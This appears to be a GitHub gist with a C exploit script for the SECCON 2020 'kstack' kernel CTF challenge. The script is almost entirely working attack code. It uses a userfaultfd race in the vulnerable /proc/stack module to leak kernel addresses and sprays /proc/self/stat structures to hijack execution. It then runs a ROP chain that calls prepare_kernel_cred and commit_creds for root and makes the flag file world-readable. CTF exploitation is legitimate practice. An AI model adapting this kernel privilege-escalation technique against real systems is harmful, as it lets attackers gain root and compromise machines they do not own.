Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Last active October 11, 2020 08:05
Show Gist options
  • Save d4em0n/cd358e64ff956a772ebdb531a985ac2a to your computer and use it in GitHub Desktop.
Save d4em0n/cd358e64ff956a772ebdb531a985ac2a to your computer and use it in GitHub Desktop.
SECCON 2020 kstack exploit script
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
#include <time.h>
#include <errno.h>
typedef unsigned long ulong;
#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002
#define PAGESIZE 4096
int hack;
int Open(const char *fname, int mode) {
int fd = open(fname, mode);
if (fd < 0) {
perror("open");
exit(-1);
}
return fd;
}
int userfaultfd(int flags)
{
return syscall(323, flags); // userfaultfd
}
int prepareUFD(void* pages, unsigned long memsize) {
int fd = 0;
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
fprintf(stderr, "++ userfaultfd failed: %m\n");
exit(-1);
}
struct uffdio_api api = { .api = UFFD_API };
if (ioctl(fd, UFFDIO_API, &api)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
exit(-1);
}
if (api.api != UFFD_API) {
fprintf(stderr, "++ unexepcted UFFD api version.\n");
exit(-1);
}
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = {
.start = (long) pages,
.len = memsize
}
};
if (ioctl(fd, UFFDIO_REGISTER, &reg)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
exit(-1);
}
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
fprintf(stderr, "++ unexpected UFFD ioctls.\n");
exit(-1);
}
return fd;
}
void push(int fd, unsigned long value) {
unsigned long b = value;
ioctl(fd, CMD_PUSH, &b);
return;
}
unsigned long pop(int fd) {
unsigned long b = -1;
ioctl(fd, CMD_POP, &b);
return b;
}
void* hack_pop(void* pages) {
printf("hack_pop\n");
int ret = ioctl(hack, CMD_PUSH, pages);
return NULL;
}
// 0xffffffff8102ce8f // xchg eax, esp
int main(void) {
hack = Open("/proc/stack", O_RDWR);
int procfds[30];
void* pages1;
void* pages_rop;
ulong test = 0;
ulong kern_base, rop_loc, map_addr;
ulong xchg_eax_esp = 183951;
ulong pop_rbp = 139573;
ulong add_esp_eax = 959959;
ulong mov_rdi_rax = 0xa296e; // mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff810a295b ; ret
ulong mov_rdi_rax2 = 2226330;
ulong swapgs = 257828;
ulong iretq = 120262;
ulong pop_r8 = 0x22beb4;
ulong pop_rdx = 0x10dc0f;
ulong pop_rdi = 0x34505;
ulong pop_rcx = 232180;
ulong pop_rsp = 767347;
ulong pop_rsi = 0x47a8e;
ulong pop_rax = 131761;
ulong ret = pop_rax+1;
ulong commit_creds = 0x69c10;
ulong prepare_kernel_cred = 0x69e00;
ulong chmod_internal = 0x118910;
ulong msleep = 0x9a950;
push(hack, 0x414141);
push(hack, 0x424242);
push(hack, 0x414141);
push(hack, 0x424242);
char* tmp = malloc(0x20);
int i;
memset(tmp, 'A', 0x10);
if ((pages1 = mmap(NULL, PAGESIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
for(i=0;i<20;i++)
procfds[i] = Open("/proc/self/stat", O_RDONLY);
for(i=0;i<20;i++)
close(procfds[i]);
int ufd1 = prepareUFD(pages1, PAGESIZE);
int fd = ufd1;
pthread_t thread = {0};
printf("creating thread\n");
if (pthread_create(&thread, NULL, hack_pop, pages1)) {
fprintf(stderr, "++ pthread_create failed: %m\n");
goto cleanup_error;
}
//void *fakestack = malloc(0x10000);
//clone(hack_pop, fakestack + 0x10000, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, (void*)pages1);
printf("yess\n");
printf("wait poll\n");
struct pollfd evt = { .fd = fd, .events = POLLIN };
while (poll(&evt, 1, 10) > 0) {
/* unexpected poll events */
printf("masuk\n");
if (evt.revents & POLLERR) {
fprintf(stderr, "++ POLLERR\n");
goto cleanup_error;
} else if (evt.revents & POLLHUP) {
fprintf(stderr, "++ POLLHUP\n");
goto cleanup_error;
}
struct uffd_msg fault_msg = {0};
if (read(fd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
fprintf(stderr, "++ read failed: %m\n");
goto cleanup_error;
}
char *place = (char *)fault_msg.arg.pagefault.address;
if (fault_msg.event != UFFD_EVENT_PAGEFAULT
|| (place != pages1)) {
fprintf(stderr, "unexpected pagefault?.\n");
goto cleanup_error;
}
printf("%p\n", place);
if(place == pages1) {
fprintf(stderr, "accessed %p\n", place);
kern_base = pop(hack)-1293952;
printf("kern_base=%p\n", kern_base);
xchg_eax_esp += kern_base;
*(ulong*)tmp = xchg_eax_esp;
for(i=0;i<5;i++)
procfds[i] = Open("/proc/self/stat", O_RDONLY);
sleep(2);
}
struct uffdio_copy copy = {
.dst = (long) place,
.src = (long) tmp,
.len = PAGESIZE
};
if (ioctl(fd, UFFDIO_COPY, &copy)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_COPY, ...) failed: %m\n");
goto cleanup_error;
}
}
goto cleanup;
cleanup_error:
return 1;
cleanup:
rop_loc = xchg_eax_esp&0xffffffff;
map_addr = xchg_eax_esp&0xfffff000;
if ((pages_rop = mmap(map_addr, 0x40000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
ulong rop = map_addr+0x100;
printf("rop: %p\n", rop);
char* flag = "flag";
ulong mfence = kern_base+278541;
add_esp_eax += kern_base;
pop_rcx += kern_base;
pop_rsp += kern_base;
pop_rbp += kern_base;
ret += kern_base;
pop_rax += kern_base;
mov_rdi_rax += kern_base;
mov_rdi_rax2 += kern_base;
pop_rsi += kern_base;
pop_r8 += kern_base;
pop_rdx += kern_base;
pop_rdi += kern_base;
swapgs += kern_base;
iretq += kern_base;
commit_creds += kern_base;
prepare_kernel_cred += kern_base;
chmod_internal += kern_base;
msleep += kern_base;
printf("pop_rsp %p\n", pop_rsp);
printf("pop_rax %p\n", pop_rax);
printf("swapgs %p\n", swapgs);
printf("commit_creds %p\n", commit_creds);
printf("prepare_kernel_cred %p\n", prepare_kernel_cred);
printf("chmod_internal %p\n", chmod_internal);
unsigned long *buf = (void*)rop_loc;
i = 0;
sleep(5);
buf[i++] = pop_rdi;
buf[i++] = 0;
buf[i++] = prepare_kernel_cred;
buf[i++] = pop_rsi;
buf[i++] = 1;
buf[i++] = pop_rcx;
buf[i++] = 0;
buf[i++] = mov_rdi_rax2;
buf[i++] = 0x4242424242424;
buf[i++] = commit_creds;
buf[i++] = pop_rdi;
buf[i++] = 0xffffff9c;
buf[i++] = pop_rsi;
buf[i++] = flag; // flag must be string in user address space
buf[i++] = pop_rdx;
buf[i++] = 0777;
buf[i++] = chmod_internal;
buf[i++] = pop_rdi;
buf[i++] = 0x1000000;
buf[i++] = msleep;
for(i=0;i<5;i++) {
printf("%d\n", i);
read(procfds[i], tmp, 0x10);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment